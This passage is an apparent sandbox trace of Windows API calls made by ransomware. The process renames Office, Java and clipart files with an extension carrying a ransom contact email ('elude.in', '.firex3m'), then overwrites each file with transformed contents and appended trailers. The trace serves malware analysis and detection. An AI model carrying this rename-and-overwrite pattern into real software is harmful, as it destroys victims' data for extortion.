Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP8A19~1.FIR")) returned 0x6d5280 [0124.175] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0124.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0124.175] GetProcessHeap () returned 0x630000 [0124.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88f0 [0124.175] GetProcessHeap () returned 0x630000 [0124.175] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ef3d20 [0124.175] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.175] ReadFile (in: hFile=0x6f8, lpBuffer=0x6ee88f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88f0*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.120] GetProcessHeap () returned 0x630000 [0128.120] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0128.120] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.120] WriteFile (in: hFile=0x6f8, lpBuffer=0x6ef3d20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef3d20*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.992] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.993] WriteFile (in: hFile=0x6f8, lpBuffer=0x6eff11f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eff11f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.996] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.996] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.996] CloseHandle (hObject=0x6f8) returned 1 [0130.007] GetProcessHeap () returned 0x630000 [0130.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef3d20 | out: hHeap=0x630000) returned 1 [0130.007] GetProcessHeap () returned 0x630000 [0130.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88f0 | out: hHeap=0x630000) returned 1 [0130.008] GetProcessHeap () returned 0x630000 [0130.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0131.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13716a55, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x793a5, dwReserved0=0xaec7496, dwReserved1=0x6ee88e8, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP8A19~1.FIR")) returned 0x6d4f40 [0131.534] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0131.535] Sleep (dwMilliseconds=0x1) [0131.537] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties", len=0x44 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 1 [0131.537] GetProcessHeap () returned 0x630000 [0131.537] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x38) returned 0x66a3e0 [0131.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0134.495] CloseHandle (hObject=0x6f8) returned 1 [0134.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME54B6~1.FIR")) returned 0x6d4e40 [0134.510] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0134.510] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0134.510] GetProcessHeap () returned 0x630000 [0134.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd01) returned 0x6fc37b8 [0134.510] GetProcessHeap () returned 0x630000 [0134.510] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd01) returned 0x673b38 [0134.510] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.510] ReadFile (in: hFile=0x6f8, lpBuffer=0x6fc37b8, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc37b8*, lpNumberOfBytesRead=0x5c3ff0c*=0xce0, lpOverlapped=0x0) returned 1 [0134.527] GetProcessHeap () returned 0x630000 [0134.527] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0134.527] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.527] WriteFile (in: hFile=0x6f8, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x5c3ff0c*=0xce0, lpOverlapped=0x0) returned 1 [0134.528] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.528] WriteFile (in: hFile=0x6f8, lpBuffer=0x674817*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x674817*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.528] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.528] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.528] CloseHandle (hObject=0x6f8) returned 1 [0134.529] GetProcessHeap () returned 0x630000 [0134.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0134.529] GetProcessHeap () returned 0x630000 [0134.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc37b8 | out: hHeap=0x630000) returned 1 [0134.529] GetProcessHeap () returned 0x630000 [0134.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0134.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1622b1fe, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd0e, dwReserved0=0xaec7496, dwReserved1=0x6fc37b0, cFileName="messages_de.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME54B6~1.FIR")) returned 0x6d5440 [0134.530] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0134.530] Sleep (dwMilliseconds=0x1) [0134.540] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", len=0x44 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 1 [0134.540] GetProcessHeap () returned 0x630000 [0134.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x190) returned 0x66a3e0 [0134.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0134.541] CloseHandle (hObject=0x6f8) returned 1 [0134.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0015~1.FIR")) returned 0x6d4e00 [0134.542] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0134.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0134.542] GetProcessHeap () returned 0x630000 [0134.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x601) returned 0x71bc3d0 [0134.542] GetProcessHeap () returned 0x630000 [0134.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x601) returned 0x6fc88b8 [0134.542] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.542] ReadFile (in: hFile=0x6f8, lpBuffer=0x71bc3d0, nNumberOfBytesToRead=0x5e0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bc3d0*, lpNumberOfBytesRead=0x5c3ff0c*=0x5e0, lpOverlapped=0x0) returned 1 [0134.596] GetProcessHeap () returned 0x630000 [0134.596] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0134.596] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.597] WriteFile (in: hFile=0x6f8, lpBuffer=0x6fc88b8*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x5e0, lpOverlapped=0x0) returned 1 [0134.597] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.597] WriteFile (in: hFile=0x6f8, lpBuffer=0x6fc8e97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc8e97*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.597] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.597] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.597] CloseHandle (hObject=0x6f8) returned 1 [0134.598] GetProcessHeap () returned 0x630000 [0134.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0134.598] GetProcessHeap () returned 0x630000 [0134.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71bc3d0 | out: hHeap=0x630000) returned 1 [0134.598] GetProcessHeap () returned 0x630000 [0134.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0134.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x162c3ad0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x610, dwReserved0=0xaec7496, dwReserved1=0x71bc3c8, cFileName="BL00152_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0015~1.FIR")) returned 0x6d5200 [0134.598] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0134.598] Sleep (dwMilliseconds=0x1) [0134.607] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", len=0x44 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 1 [0134.607] GetProcessHeap () returned 0x630000 [0134.608] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x188) returned 0x66a3e0 [0134.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.609] CloseHandle (hObject=0x4bc) returned 1 [0134.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0013~1.FIR")) returned 0x6d4f80 [0134.615] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0134.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.617] GetProcessHeap () returned 0x630000 [0134.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x6868e0 [0134.617] GetProcessHeap () returned 0x630000 [0134.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x71be9f0 [0134.617] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.617] ReadFile (in: hFile=0x4bc, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x5c3ff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0134.642] GetProcessHeap () returned 0x630000 [0134.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0134.642] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.642] WriteFile (in: hFile=0x4bc, lpBuffer=0x71be9f0*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesWritten=0x5c3ff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0134.643] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.643] WriteFile (in: hFile=0x4bc, lpBuffer=0x71bef8f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bef8f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.643] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.643] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.643] CloseHandle (hObject=0x4bc) returned 1 [0134.644] GetProcessHeap () returned 0x630000 [0134.644] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0134.644] GetProcessHeap () returned 0x630000 [0134.644] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0134.644] GetProcessHeap () returned 0x630000 [0134.644] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0134.644] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16336243, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0xaec7496, dwReserved1=0x6868d8, cFileName="BL00130_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0013~1.FIR")) returned 0x6d5540 [0134.644] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0134.645] Sleep (dwMilliseconds=0x1) 